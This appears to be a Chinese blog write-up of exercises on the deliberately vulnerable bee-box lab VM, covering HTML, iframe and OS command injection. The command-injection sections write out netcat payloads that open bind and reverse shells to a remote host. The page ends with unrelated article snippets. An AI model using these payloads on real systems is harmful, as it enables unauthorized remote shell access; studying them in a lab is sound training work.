bee-box

2023-10-30

这篇博客就是为了记下bee-box做题过程,随便记记,免得忘了

安装

先去官网下载了,然后分个新的盘单独放进去,打开虚拟机,双击bee-box.vmx就能安装了

打开里面的火狐会自动跳去一个登录界面,默认账号和密码是bee/bug,登录然后就能做题了

我是美丽的分割线-------------------------------------

接下来讲漏洞

HTML Injection Reflected (GET)

First name输入<a href=http://www.baidu.com>click here!!!</a>,Last name任意,发现可以回显一个超链接,然后点击了确实可以去到百度,证明这个页面对数据没有过滤好,可以插入任意代码,导致html注入成功

HTML Injection Reflected (POST)

这里跟刚刚的get方法的没什么区别,也没没有过滤好,可以插入任意代码

HTML Injection Reflected (url)

这题看源码可以看到是会将数据包的host拿下来,然后拼接到url去进行访问,所以只要抓包改包就能进行任意访问了

HTML Injection Stored (Blog)

这题进去看见一个类似留言板的东西,直接在里面加个a标签发现是可以进行访问的,所以可以进行反射型xss,钓鱼到自己的网站

iFrame Injection

这题点进去看见有个url,有三个参数,一个url,一个width和一个height,再看一下网站源码,也可以看到有个iframe框,里面也有三个参数,刚刚是对应的

猜测后台是将这三个参数拿到了,然后直接插进iframe里面,尝试一下修改一个url为百度

发现确实能成功访问,所以这就是一个iframe注入点了

LDAP Injection(search)

这题看了肉鸡一个下午都没懂,很懵逼,先放一放

Mail Header Injection(SMTP)

这关是邮箱注入,其实就是利用换行符去进行参数的添加与执行,但是现在的邮件全部都是smtp加密传送,除非能有一台不需要验证smtp的服务器,否则进行不了注入,但是可以试一下phpmailer,具体参考一下CVE-2017-5223,这里就不详细讲了

OS Command Injection

low

这题是命令执行,直接在后面加个ls发现能看到文件是什么

监听一下弹shell

在输入框输入   && nc -vlp 4444 -e /bin/bash

能看见浏览器一直在响应,本地看下端口

4444端口确实被用了,再监听一下,用spawn去拿shell

发现确实可以回弹shell

medium

这里跟low不同的是过滤了&和;    但是我们可以用$(nc -vlp 2333 -e /bin/bash)去监听,然后再nc弹shell,跟low的基本操作一样,就不演示了

high

这题在medium的基础上加多一个escapeshellcmd()函数,所以就连一般的引号反引号也不能用了,但是还是可以用medium的方法做出来,继续不演示,手动滑稽

OS Command Injection Blind

跟os command injection差不多,只是判断根据时间判断。不输入ip去ping,后台直接返回错误信息,用时最少,大概3ms;正常的ping时间比较短,大概17ms;在ip后面加可执行代码,大概25ms,如果加的是不可执行的代码,那就会在前两者的时间之间,也就是17-25ms,所以可以利用这个去判断是否正确。

这里来个牛逼的操作,虽然没有回显,但是我们还是可以回弹shell,因为虽然没回显,但是通过前面的测试,还是可以知道他是会执行代码的,所以我们可以继续在后面加命令执行语句

具体操作

首先找个机子监听,然后网页输入vps_ip && nc -vn vps_ip port -e /bin/bash

嗯,没错,就是bash去getshell,然后就可以发现成功回弹shell了

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

bee-box 的相关文章

  • 如何利用cpolar-内网穿透工具,从家里或外网访问您的树莓派 Raspberry Pi

    假如你曾尝试将树莓派 Raspberry Pi 设置成为物联网设备 你就会知道 除非你跳过一大堆恼人的内网穿透问题 否则你就无法在本地网络上提供网页和数据 从家庭或本地网络外部访问树莓派可能是一项挑战 在工作或学校时通过手机访问家中的树莓派
  • Redis配置序列化反序列化Jackson ObjectMapper 中的 enableDefaultTyping 方法从 2.10.0 开始标记为过期

    Spring Boot 整合 Redis 时 我们经常用 Jackson2JsonRedisSerializer 替换原来的 Serializer 代码一般如下 Bean SuppressWarnings value unchecked r
  • asp.net 实现购物车详细代码

  • 九、索引与执行计划、索引的分类

    索引与执行计划 索引入门 生活中的索引 MySql 中的索引 谈下 B Tree 二分查找 二叉树 Binary Tree 平衡二叉树 AVL 树 平衡二叉树的遍历 平衡二叉树的旋转 B 树 B 树的定义 B 树的作用 B 树的插入操作 索
  • 《试用》--项目总结

    一 前言 临时来了一个需求 做一个试用 只支持微信打开 的项目 就是我们提供为商家提供一个试用的平台 商家把淘宝上卖的商品放到我们的平台免费给用户试用 用户可以在我们商城去寻找的合适的产品进行申请试用 按照任务流程申请 获得领取资格后 去指
  • 母函数

    模板 初始化a 因为有last 所以这里无需初始化其他位 a 0 1 int last 0 for int i 0 i
  • android 屏幕亮度广播,Android视频播放器屏幕左侧边随手指上下滑动亮度调节变暗变亮原理实现详解...

    Java代码 package zhangphil app import android app Activity import android os Bundle import android view LayoutInflater imp
  • 渐变维度入门.

    有一张内容提供商表 如图 需要做维度渐变 渐变列这里做了简化 只有Cpname 维度表如下 多了三列 维度开始时间 结束时间 以及是否是当前值 渐变的设置如下 1 2 在这里我们强调一下图2的几列意思 固定的属性 用的比较少 不做解释 变化
  • Nginx(7)Nginx实现服务器端集群搭建

    Nginx集群搭建 Nginx与Tomcat部署 Nginx实现动静分离 Nginx实现Tomcat集群搭建 Nginx高可用解决方案 Keepalived Keepalived配置文件 keepalived之vrrp script Ngi
  • 爬虫入门教程(非常详细)从零基础入门到精通,看完这一篇就够了

    01 Python优势 对于网络爬虫开发来说 Python有着无与伦比天然优势 这里从两个方面对其优势进行分析与讲解 1 抓取网页本身的接口 相比其他静态编程语言 如java c 与c Python抓取网页文档的接口更简洁 而对比其他动态脚
  • chrome设置黑暗模式的4种方法

    chrome设置黑暗模式的4种方法 前言 方式一 自带皮肤暗黑 具体操作 效果 方式二 自带内容暗黑 具体操作 效果 方式三 安装chrome主题 方式四 使用插件 效果 额外 开发工具的暗黑设置 结语 前言 对于大部分chrome用户来说
  • Qt Tcp网络编程

    1 Qt中的TCP客户端编程 Qt中的TCP客户端编程 对于Qt编程而言 网络只是数据传输的通道 Qt提供了QTcpSocket类 封装了TCP协议细节 将QTcpSocket的对象当做黑盒使用 进行数据收发 QTcpSocket的使用方式
  • Java中的StringBuilder类功能详解

    android培训 java培训 java学习型技术博客 期待与您交流 字符串连接可以通过两种方法实现 其中一种是在Java中提供的一个StringBuilder类 这个类只在J2SE5及以上版本提供 以前的版本使用StringBuffer
  • oracle连接

    使用JDBC创建的数据库tcp连接是没有设置keepalive的 这点可以通过Linux的netstat或ss命令在数据库客户端 即应用端 验证 使用命令netstat ano或ss ano 其中参数 都是显示timerit时器 timer
  • 基于SSM框架的狼途汽车门店管理系统的设计与实现

    基于SSM框架的狼途汽车门店管理系统的设计与实现 付源码 论文 技术实现 本系统基于SSM框架的狼途汽车门店管理系统采用多层框架相结合的方式进行开发 让不同的框架发挥出各自的优势 然后再结合起来处理门店的业务逻辑 分工明确 其中使用了Spr
  • Flink学习4-flink自定义source并行度

    概要 关于source数据源 在flink 官网上介绍了很多对接方式 例如socket elements collect等常见的source 可以见下面链接 https nightlies apache org flink flink do
  • 用户栈和内核栈

    操作系统中 每个进程会有两个栈 一个用户栈 存在于用户空间 一个内核栈 存在于内核空间 当进程在用户空间运行时 cpu堆栈指针寄存器里面的内容是用户堆栈地址 使用用户栈 当进程在内核空间时 cpu堆栈指针寄存器里面的内容是内核栈空间地址 使
  • 浅谈传统企业数字化转型的痛点与困难

    00 导语 在之前的文章中 笔者就一些用户行为分析的知识和概念进行了科普 未免有些生涩难懂 这次咱们聊一个相对轻松易懂的话题 在和一些传统行业的企业 包括但不限于一些老牌的大型企业 合作的过程中 笔者发现 这些企业共同的特点就是历史悠久 资

随机推荐

  • Activiti 5 提示:Default sequenceflow has a condition, which is not allowed

    今天重拾Activiti 5 Spring Boot 流程引擎管理 启动一个简单的请假流程实例 在控制台输出如下错误信息 org activiti engine ActivitiException Errors while parsing
  • Dev C++使用简明教程

    Dev C 使用简明教程 使用高级语言编程时 我们通常使用一个集成开发环境IDE Integrated Developing Enviroment 简称IDE 来进行编辑 编译 运行和调试工作 Dev C 是一个Windows环境下C C
  • fitcknn - Matlab的kNN分类器

    Matlab的kNN分类器 fitcknn 1 构造kNN分类器 1 1 fitcknn函数 1 2 运行实例 1 构造kNN分类器 1 1 fitcknn函数 使用fitcknn函数即可构造 construct kNN分类器 输入 分类集
  • 用MindSpore复现VAN(Visual Attention Network)

    用MindSpore复现VAN Visual Attention Network 1 VAN 简述 2 如何复现 模型的修改 参数初始化 数据预处理 优化器 学习策略 多卡训练设置 混合精度对齐 O0 O2 O3 以及自己设置黑白名单 O1
  • vue.js:基于nodejs使用log4js输出日志文件

    一 问题 开发web项目过程中 常规的console log 只是将信息反映在了浏览器的控制台 我们经常需要输出到文本日志文件 以便开发调试和维护排查 下面介绍log4js在vue项目中的部署与使用 二 解决方案 1 安装log4j 注意
  • IntelliJ IDEA2022(破译版)安装教程

    首先先下载一个压缩包 里面安装包破译插件都有 通过百度网盘分享的文件 JetBrain zip 链接 https pan baidu com s 1mBQUacDIf39AJtR wGZ bw 提取码 P95C 复制这段内容打开 百度网盘A
  • 全局负载均衡(GSLB)的实现方案

    What is GSLB Global Server Load Balancing 中文 全局负载均衡 SLB Server load balancing 是对集群内物理主机的负载均衡 而GSLB是对物理集群的负载均衡 这里的负载均衡可能不
  • python驱动DDT框架应用--实战举例

    步骤 创建一个python file ddttest 引入ddt 更新ddt File Settings 双击pip 搜索框输入 ddt 实例讲解 传入一个参数 import unittest from ddt import ddt dat
  • 2022全国职业技能大赛-网络安全赛题解析总结⑨(超详细)

    2022全国职业技能大赛 网络安全赛题解析总结 自己得思路 模块A 基础设施设置与安全加固 20分 模块B 网络安全事件响应 数字取证调查和应用安全 40分 模块C CTF夺旗 攻击 20分 模块D CTF夺旗 防御 20分 有什么不懂得可
  • openstack调优

    cinder限速 为了减缓来自实例的数据访问速度的减慢 openstack block storage支持对卷数据复制带宽的速率限制 请修改cinder后端配置文件将文件卷复制带宽限制为最高100MB s The upper limit o
  • arm 关于m a r系列区别

    arm系列contex的a r m的区别 从cortex开始 分为三个系列 a系列 r系列 m系列 m系列与arm7相似 不能跑操作系统 只能跑ucos2 偏向于控制方面 说白了就是一个高级的单片机 a系列主要应用在人机互动要求较高的场合
  • Github Copilot连接不上服务器

    现象 报错 ERROR default 2023 09 08T15 47 01 542Z GitHub Copilot could not connect to server Extension activation failed conn
  • Python 2.7下下载并安装nltk (自然语言处理工具包)

    1 在cmd窗口中 进入到python的文件夹内的 Scripts内 我的目录地址是 D using Python Scripts 命令行输入 easy install pip 运行结束后 安装PyYAML and NLTK 命令行输入 p
  • c++ 中bool 的默认值

    比如在Test h中定义变量 isFirst Test h头文件 ifndef TEST H define TEST H class Test private bool isFirst endif 然后访问它 include Test h
  • Java面试题整理——网络

    Java面试题整理 网络 网络 1 常用的 http 响应码及含义 200 OK 请求成功 这是对HTTP请求成功的标准应答 201 Created 请求创建被完成 同时新的资源被创建 202 Acceptd 供处理的请求已被接受 但是处理
  • 【VxWorks】Vxworks、QNX、Xenomai、Intime、Sylixos、Ucos等实时操作系统的性能特点

    目录 1 VxWorks操作系统 2 QNX操作系统 3 Xenomai操作系统 4 INtime操作系统 5 SylixOS操作系统 5 1 SylixOS官网
  • uniapp 跳转传参 [‘object‘] 问题解决, 遇坑解决

    普通 号拼接传参不知道什么原因 接收参数时转换数据失败 换成模板传参试试 解决 传 ckgd productList 传参时先转为json 一定要用模板字符串传参 如下 uni navigateTo url pagesA service d
  • MySQL执行器与存储引擎是怎么交互的

    体系结构 1 连接器 2 查询缓存 3 分析器 4 优化器 多个索引 选择哪个索引 join的顺序 5 执行器 调用存储引擎接口获取满足条件的第一行记录 调用存储引擎接口获取满足条件的下一行记录 6 存储引擎 索引下推 假设现子表T有字段
  • c++泛型算法扩展和迭代器、反向迭代器

    cout lt lt 插入迭代器 lt lt endl back inserter 创建一个使用push back的迭代器 front inserter 创建一个使用push front的迭代器 inserter 创建一个使用insert的
  • bee-box

    这篇博客就是为了记下bee box做题过程 随便记记 免得忘了 安装 先去官网下载了 然后分个新的盘单独放进去 打开虚拟机 双击bee box vmx就能安装了 打开里面的火狐会自动跳去一个登录界面 默认账号和密码是bee bug 登录然后